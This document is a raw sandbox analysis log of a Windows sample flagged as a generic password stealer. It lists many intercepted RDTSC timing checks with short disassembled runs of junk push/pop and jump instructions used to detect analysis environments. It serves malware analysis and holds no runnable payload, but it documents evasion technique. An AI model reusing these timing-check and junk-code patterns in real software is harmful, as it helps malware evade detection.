Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35884 second address: C35896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64864F2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35896 second address: C3589A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40960 second address: C40964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40964 second address: C4096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40B25 second address: C40B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40B2B second address: C40B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FAF64D85736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40E82 second address: C40E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40FD8 second address: C40FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40FDE second address: C40FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAF64864F26h 0x0000000a popad 0x0000000b pop edx 0x0000000c push ebx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41429 second address: C4143F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FAF64D85736h 0x00000010 jo 00007FAF64D85736h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41708 second address: C41739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAF64864F26h 0x0000000a pop ecx 0x0000000b jns 00007FAF64864F3Ch 0x00000011 popad 0x00000012 jg 00007FAF64864F3Eh 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41739 second address: C41744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41744 second address: C41748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C4187C second address: C41884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41884 second address: C418CB instructions: 0x00000000 rdtsc 0x00000002 js 00007FAF64864F2Ah 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007FAF64864F26h 0x00000013 jg 00007FAF64864F26h 0x00000019 jp 00007FAF64864F26h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 pushad 0x00000023 jmp 00007FAF64864F34h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FAF64864F2Eh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C418CB second address: C418CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41FA1 second address: C41FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FAF64864F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007FAF64864F2Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41FC0 second address: C41FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64D8573Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C41FCF second address: C41FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C40544 second address: C4054A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C4054A second address: C40550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C49719 second address: C4971D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C4971D second address: C49723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5955B second address: C59562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C59035 second address: C5903C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5B480 second address: C5B488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5B488 second address: C5B48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5AF6A second address: C5AF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAF64D85736h 0x0000000a jng 00007FAF64D85736h 0x00000010 popad 0x00000011 jmp 00007FAF64D85743h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5AF92 second address: C5AFA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5AFA1 second address: C5AFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FAF64D8573Bh 0x0000000d jns 00007FAF64D85742h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5AFBC second address: C5AFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5B17B second address: C5B18B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAF64D85736h 0x00000008 jc 00007FAF64D85736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C5B18B second address: C5B195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAF64864F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6194A second address: C6194F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6194F second address: C61968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FAF64864F2Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C61968 second address: C6197C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64D8573Ah 0x00000009 jnl 00007FAF64D85736h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6197C second address: C61980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6A946 second address: C6A94E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6A94E second address: C6A96D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FAF64864F38h 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C6A96D second address: C6A973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C73525 second address: C73562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAF64864F26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edi 0x0000000e jmp 00007FAF64864F2Bh 0x00000013 pop edi 0x00000014 jmp 00007FAF64864F31h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAF64864F2Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C725CF second address: C725F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007FAF64D8573Eh 0x0000000b push ebx 0x0000000c jns 00007FAF64D85736h 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007FAF64D85736h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C7275E second address: C7277B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FAF64864F35h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C728EF second address: C728F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C728F5 second address: C72904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FAF64864F26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C72904 second address: C72908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C72908 second address: C72927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAF64864F31h 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C73265 second address: C73269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C77060 second address: C77066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C77066 second address: C77070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C78E3F second address: C78E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C78E45 second address: C78E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C78A1C second address: C78A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C78A20 second address: C78A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C78A24 second address: C78A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8ADCE second address: C8ADD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAF64D85736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8AF01 second address: C8AF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAF64864F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8AF0D second address: C8AF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAF64D85736h 0x0000000a popad 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f jne 00007FAF64D85738h 0x00000015 popad 0x00000016 pushad 0x00000017 jbe 00007FAF64D85742h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8B3B0 second address: C8B3D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FAF64864F2Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8B3D0 second address: C8B401 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAF64D8573Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FAF64D85744h 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jbe 00007FAF64D85736h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8B401 second address: C8B406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C8B406 second address: C8B40B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C880AD second address: C880B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C880B9 second address: C880C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C880C5 second address: C880FB instructions: 0x00000000 rdtsc 0x00000002 js 00007FAF64864F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FAF64864F2Fh 0x00000012 jmp 00007FAF64864F32h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C985D1 second address: C985EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Eh 0x00000007 pushad 0x00000008 js 00007FAF64D85736h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C9B259 second address: C9B25D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C9B25D second address: C9B263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C9ADB4 second address: C9ADC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007FAF64864F26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C9ADC4 second address: C9ADC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CAE68E second address: CAE6AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB1FC6 second address: CB1FCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB1FCA second address: CB1FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB24F0 second address: CB2502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push ebx 0x0000000a jng 00007FAF64D85736h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB29A0 second address: CB29DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAF64864F26h 0x0000000a jnc 00007FAF64864F26h 0x00000010 popad 0x00000011 jmp 00007FAF64864F31h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b pushad 0x0000001c popad 0x0000001d jnl 00007FAF64864F26h 0x00000023 popad 0x00000024 popad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jnc 00007FAF64864F26h 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB29DC second address: CB29FA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAF64D85736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FAF64D8573Ch 0x00000010 push esi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB29FA second address: CB29FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB2E1A second address: CB2E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB2E20 second address: CB2E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB2E26 second address: CB2E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64D8573Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB3854 second address: CB3858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB3E1F second address: CB3E24 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB3E24 second address: CB3E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c jmp 00007FAF64864F2Dh 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 jmp 00007FAF64864F33h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB5080 second address: CB5084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
